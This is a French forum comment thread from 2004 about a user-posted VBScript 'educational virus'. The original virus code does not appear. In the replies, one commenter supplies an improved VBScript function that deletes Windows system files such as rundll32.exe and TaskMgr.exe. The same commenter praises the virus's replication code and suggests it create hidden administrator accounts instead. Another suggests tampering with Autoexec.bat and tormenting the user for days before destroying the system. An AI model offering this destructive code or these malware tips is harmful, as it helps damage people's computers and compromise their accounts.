VIRUS A BUT EDUCATIF, MERCI DE NE PAS EN ABUSER.

Messages postés
48
Date d'inscription
dimanche 9 mai 2004
Statut
Membre
Dernière intervention
1 janvier 2005
- - Dernière réponse : Ashtheone
Messages postés
20
Date d'inscription
samedi 2 août 2003
Statut
Membre
Dernière intervention
19 mai 2004
- 19 mai 2004 à 17:21
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/22954-virus-a-but-educatif-merci-de-ne-pas-en-abuser

Afficher la suite 
Ashtheone
Messages postés
20
Date d'inscription
samedi 2 août 2003
Statut
Membre
Dernière intervention
19 mai 2004
-
Source avec un petit air de déjà vu....
...si ce n'est la parti destructive!

Je ne porterais aucun autre jugement.
cs_Warny
Messages postés
478
Date d'inscription
mercredi 7 août 2002
Statut
Membre
Dernière intervention
10 juin 2015
-
Salut,
Ton code mérite une petite explication de texte :
Par définition, un virus est un code qui a la capacité de s'autorépliquer.
Il faut séparer dans le code la partie qui permet la réplication et la partie casse c... qui n'est qu'accessoire (juste histoire de montrer à l'utilisateur que sa machine est infectée).
PS: tu peux optimiser le code de destruction en écrivant la procédure comme suit :
Function Killer(file)
Dim onstart, c
Set onstart = CreateObject("Scripting.FileSystemObject")
Set c = onstart.GetFile("c:\Windows\system32" & file)
c.Delete
End Function

puis tu appelles
Killer "rundll32.exe"
Killer "TaskMgr.exe" etc.

Il est aussi inutile de répéter On error resume next. Un virus se doit d'être légé. Plus il est simple, plus sa diffusion est rapide (temps de transfert oblige).

Par contre, ton code de réplication est particulièrement efficace

Personnellement je trouce qu'un virus destructif n'a pas vraiment d'interêt. Il est beaucoup plus interressant, par exemple de créer des comptes administrateurs sur les systèmes par exemple...
cs_Light Angel
Messages postés
48
Date d'inscription
dimanche 9 mai 2004
Statut
Membre
Dernière intervention
1 janvier 2005
-
Oui, c'est pas très malin !! Sa fait que détruire des fichier du systeme et en plus, c'est pas compatible avec tous les windows : sa marche pas sur 95, 98, ME ... Au lieu de tout péter, tu devrais faire un truc qui fait chier le monde ... Par exemple modifier les instruction du fichier Autoex.bat. Sinon, sa donne un exemple d'utilisation de la suppression de fichier en VBS ! Je note pas parce que détruire est inutile, enfin, pas dé le début !! Tu fait chier ton utilisateur pendant 4 a 5 jour et puis après tu détruit le systeme ...